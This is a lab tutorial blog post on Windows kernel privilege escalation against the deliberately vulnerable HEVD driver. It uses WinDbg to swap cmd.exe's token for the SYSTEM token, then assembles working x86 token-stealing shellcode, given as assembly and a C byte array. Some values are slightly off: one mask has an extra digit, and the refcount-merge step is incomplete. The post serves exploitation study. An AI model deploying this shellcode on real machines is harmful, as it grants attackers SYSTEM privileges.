windows-kernel

Windows Kernel Exploitation 3 – Token Access and Shellcode Writing


In my first post on WKE I covered how to set up the lab environment, and in the second post I walked through loading the HEVD drivers in that same lab.

Windows Kernel Exploitation – Setting up the lab and initial access Windows Kernel Exploitation 2 – HEVD Installation

So I’ll assume the lab is in good shape. In this post I’ll cover privilege escalation using process tokens, followed by shellcode writing.

Stealing the SYSTEM Token with kd

**kd> !process 0 0 system
**PROCESS 842c8020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 89001cf8 HandleCount: 522. Image: System

After establishing the connection, we can use the !process extension provided by WinDbg to list one or all structured processes. The command !process 0 0 system gives us the basic information we need.

As seen in the output above, the kernel’s EPROCESS structure leaks the address of the process named System. We can dig deeper using the dt command.

**kd> dt _EPROCESS
**nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d58dbd`22a004d0
+0x0a8 ExitTime : _LARGE_INTEGER 0x0 ......................................................... +0x0f0 ExceptionPortData : (null)
+0x0f0 ExceptionPortValue : 0
+0x0f0 ExceptionPortState : 0y000
+0x0f4 ObjectTable : 0x89001cf8 _HANDLE_TABLE
**+0x0f8 Token : _EX_FAST_REF
**+0x0fc WorkingSetPage : 0 ......................................................... +0x26c LastReportMemory : 0y0
+0x26c ReportPhysicalPageChanges : 0y0
+0x26c HandleTableRundown : 0y0 .........................................................

As you can see in the output, the Token sits at offset 0x0f8. To get even more detail about the Token, we use dt nt!_EX_FAST_REF:

dt nt!_EX_FAST_REF [EPROCESS address] + [Token offset]

**kd> dt nt!_EX_FAST_REF 842c8020+f8
**+0x000 Object : 0x89001446 Void
+0x000 RefCnt : 0y110
+0x000 Value : 0x89001446

Looking at the output, the Token is held in the EX_FAST_REF union, which has two fields: RefCnt (reference counter) and Value.

**kd> dt nt!_TOKEN 842c8020
**+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x842c8f28`00000000 ....................................... +0x0ac TokenFlags : 0
+0x0b0 TokenInUse : 0 ‘’
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 0x8494f0d8
+0x0bc LogonSession : 0x8293c368 _SEP_LOGON_SESSION_REFERENCES .............................................. +0x1dc VariablePart : 0

The !TOKEN extension in WinDbg gives us even more detail.

In general terms, what I described above is the path we follow to obtain the SYSTEM token. To put it simply: we create a new cmd.exe process on the debuggee machine, then overwrite that process’s token with the SYSTEM token value — at which point the process is treated as SYSTEM.

Grabbing the Token of a Running Process

**kd> !dml_proc
**Address PID Image file name
842c8020 4 System
8494f020 f8 smss.exe
84ef1d40 148 csrss.exe .............................. 84fb5d40 24c svchost.exe
84fc08f8 288 VBoxService.ex
84fc8700 2c0 svchost.exe
84fe7d40 310 svchost.exe .............................. 855017d8 8e0 svchost.exe
8555d858 980 WmiPrvSE.exe
**855815b0 9d4 cmd.exe
**8557f980 9dc conhost.exe
855899f8 b68 dllhost.exe

cmd.exe on the debuggee machine. Then in WinDbg we run the !dml_proc extension to list all running processes on the debuggee along with their addresses.

Note: Alternatively, to reach the process address of the cmd.exe we opened on the debuggee, we can use !process 0 0 cmd.exe the same way we did at the beginning.

**kd> !process 855815b0
**PROCESS 855815b0 SessionId: 1 Cid: 09d4 Peb: 7ffdf000 ParentCid: 01dc
DirBase: 063c5000 ObjectTable: 9a5ea340 HandleCount: 21. Image: cmd.exe
VadRoot 85567c60 Vads 37 Clone 0 Private 116. Modified 0. Locked 0. DeviceMap 90bcb380
Token 89001440
ElapsedTime 00:33:42.864
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 36624
QuotaPoolUsage[NonPagedPool] 2220
Working Set Sizes (now,min,max) (574, 50, 345) (2296KB, 200KB, 1380KB)
PeakWorkingSetSize 574
VirtualSize 33 Mb
PeakVirtualSize 33 Mb
PageFaultCount 609
MemoryPriority FOREGROUND
BasePriority 8
CommitCharge 400
……………………………………………………………………………………….
………………………….
………………
……

For even more detail about cmd.exe, you can also run:

!process [EPROCESS address]

kd> dt nt!_EX_FAST_REF 842c8020+f8**

--> System Address+Token Address +0x000

Object : 0x89001443
Void +0x000
RefCnt : 0y011 +0x000
Value : 0x89001443

kd> dt nt!_EX_FAST_REF 855815b0+f8**
--> CMD address+Token address +0x000
Object : 0x9a6ca031
Void +0x000
RefCnt : 0y001 +0x000
Value : 0x9a6ca031

kd> ?89001443&0xffffffff8
--> System Value+ Evaluate expression: 66722993216 = 0000000f`89001440

kd> ?9a6ca031&0xfffffff8
--> Cmd Value Evaluate expression: -1704157136 = 9a6ca030
kd> ?89001440 | 0y001
System Object + cmd Refcnt Evaluate expression: -1996483519 = 89001441

kd> ed 855815b0+f8 89001441**
kd> dt nt!_EX_FAST_REF 855815b0+f8 +0x000
Object : 0x89001441
Void +0x000
RefCnt : 0y001 +0x000
Value : 0x89001441

Note: The Token offset is 0x0f8.

We listed all running processes on the debuggee above. The parts that concern us most are the tokens belonging to system.exe and cmd.exe — because this is the step where we copy the token from system.exe into cmd.exe.

Afterwards, when we check on the debuggee machine, we can confirm we have elevated privileges.

Gathering the Information Needed for Shellcode

In this section we’ll replicate — via shellcode — the exact operation we performed through WinDbg above. So we’ll use WinDbg only to collect the data we need; once we’ve gathered and assembled all the required values, we’ll have our shellcode ready.

First we need to walk the running processes inside the OS, and we need to do that from within the shellcode itself. That means the first thing we need is to locate the start of the EPROCESS structure.

Because nearly every process in the OS architecture is defined within an EPROCESS structure — and it’s through this structure that we can reach all information (memory regions, etc.) belonging to the processes we examine. In order to walk the running processes in the system, we need to gain access to wherever those processes are stored. Our entry point, therefore, is the KPCR (Kernel Processor Control Region), pointed to by the FS register on x86 Windows (on x64 it’s GS).

For reference, we can look at the payload example provided by HackSysExtremeVulnerableDriver. Regarding how to reach all the values mentioned there — PID, Token, etc.:

KPCR (Kernel Processor Control Region)

KPCR stands for Kernel Processor Control Region. It holds per-CPU information shared between the kernel and HAL, and there is one KPCR per CPU in the system. Put another way: “In Windows, there is one KPCR for every CPU present in the system.”

**kd> dt nt!_KPCR **
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD ....................................
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B ....................................
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B ....................................
+0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB**

As we can see from the output, there are many data structures to work with. The one we care about here is PrcbData at offset 0x120. PRCB is one of the important data structures in Windows.

According to Mark Russinovich’s Windows Internals: PCR and PRCB provide information about the state of each processor in the system — including the current IRQL, a pointer to the IDT hardware, the currently running thread, and the next thread to be scheduled.

KPRCB (Kernel Processor Control Block)

**kd> dt nt!_KPRCB **
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B **
+0x004 CurrentThread : Ptr32 _KTHREAD **
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 LegacyNumber : UChar
+0x011 NestingLevel : UChar
+0x012 BuildType : Uint2B
+0x014 CpuType : Char
+0x015 CpuID : Char
+0x016 CpuStep : Uint2B
+0x016 CpuStepping : UChar
+0x017 CpuModel : UChar
+0x018 ProcessorState : _KPROCESSOR_STATE
+0x338 KernelReserved : [16] Uint4B

We can learn about the Kernel Processor Control Block from the KPCR. This section matters to us because it will give us the location of the KTHREAD structure for the thread currently being executed by the processor.

What we’ll focus on in the output above is KPRCB.CurrentThread at offset 0x004. To reach the KTHREAD data structure representing the currently executing thread:

PrcbData (0x120) + CurrentThread (0x004) = 0x124

KTHREAD (Kernel Thread)

**kd> dt nt!_KTHREAD **
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void +0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : UChar
+0x03a Alerted : [2] UChar
+0x03c KernelStackResident : Pos 0, 1 Bit …………………………………. **
+0x040 ApcState : _KAPC_STATE **………………………………….
+0x1e8 MutantListHead : _LIST_ENTRY
+0x1f0 SListFaultAddress : Ptr32 Void
+0x1f4 ThreadCounters : Ptr32 _KTHREAD_COUNTERS
+0x1f8 XStateSave : Ptr32 _XSTATE_SAVE

The KTHREAD data structure is tied to the larger ETHREAD structure and forms its first section. It holds some low-level information about currently executing threads.

As you can see in the output, there’s a lot of data here — but what we’re after is KTHREAD.ApcState at offset 0x040, which resides inside the KAPC_STATE structure.

KAPC_STATE

**kd> dt nt!_KAPC_STATE **
+0x000 ApcListHead : [2] _LIST_ENTRY **
+0x010 Process : Ptr32 _KPROCESS **
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar

Each thread tracks the process it’s associated with, and it does so within KAPC_STATE. This is useful to us because the goal here is to obtain the process, and then find its token.

To get the process we want:

ApcState (0x040) + Process (0x010) = 0x050

Getting the Current Running Process (GetCurrentProcess)

In Windows, pointers for walking structures are stored in a doubly-linked list. If we have the address of one process, we can traverse up and down the list to discover the rest — but we first need to have the address of at least one kernel process.

**kd> uf nt!PsGetCurrentProcess **
nt!PsGetCurrentProcess: 828a9f6e 64a124010000
mov eax,dword ptr
fs:[00000124h] 828a9f74 8b4050
mov eax,dword ptr [eax+50h] 828a9f77 c3 ret

The nt!GetCurrentProcess command gives us the address of the currently running process. This three-line output’s first two lines will be used when we write the shellcode.

EPROCESS

In this step we’ll extract UniqueProcessId, ActiveProcessLinks, and Token from the EPROCESS structure.

**kd> dt nt!_EPROCESS**
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF **+
0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY **…………………………. **
+0x0f8 Token : _EX_FAST_REF **…………………………..
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

First, we need to find the PID value from UniqueProcessId. As the name implies, it holds the PID of the currently running process. It has long been represented by the value 4, but anyone can confirm this in Task Manager.

Second, EPROCESS.ActiveProcessLinks is the doubly-linked list that holds the addresses of the ActiveProcessLinks entry inside the EPROCESS structure of every active process in the system. We can also see that the ActiveProcessLinks field is a LIST_ENTRY data structure.

Third, we can see that Token is an EX_FAST_REF data structure. Looking at that structure:

**kd> dt nt!_EX_FAST_REF **
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, **3 Bits**
+0x000 Value : Uint4B

Note down the 3 bits belonging to RefCnt here — we’ll need them when writing the shellcode.

Writing the Shellcode

We now have everything we need. We can take one of the example shellcodes included with HEVD as a template, then make a small adjustment to get what we want.

[bits 32]
start: pushad mov eax, [fs:0x124] mov eax, [eax + 0x050] ; mov ecx, eax ;
mov edx, 0x4 ; search_system_process: mov eax, [eax + 0x0b8] ; sub eax, 0x0b8 ; cmp [eax + 0x0b4], edx ; jnz search_system_process
mov edx, [eax + 0x0f8] ; mov edi, [ecx + 0x0f8] ; and edx, 0xFFFFFFF8 ; and edi, 0x03 mov [ecx + 0x0f8], edx ;
popad xor eax, eax pop ebp ret 8

Compiling the Shellcode

Once we’ve completed all the steps above, we need to assemble our shellcode. For this we can use assemblers like NASM or YASM. I used NASM; after running the assembly step, the output is a 1 KB file. Open that file in HxD, then go to Edit → Copy As and pick whichever language you’re targeting. For C, the result looks like this:

unsigned char rawData[67] = { 0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, 0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, 0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, 0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x03, 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00 };

Conclusion

I completed the first HEVD exercise. Along the way I tried to cover as much useful context about Windows Internals as I could, plus the details of shellcode writing.

I’ll do my best to keep the HEVD series going.

We’ll see how it goes…

References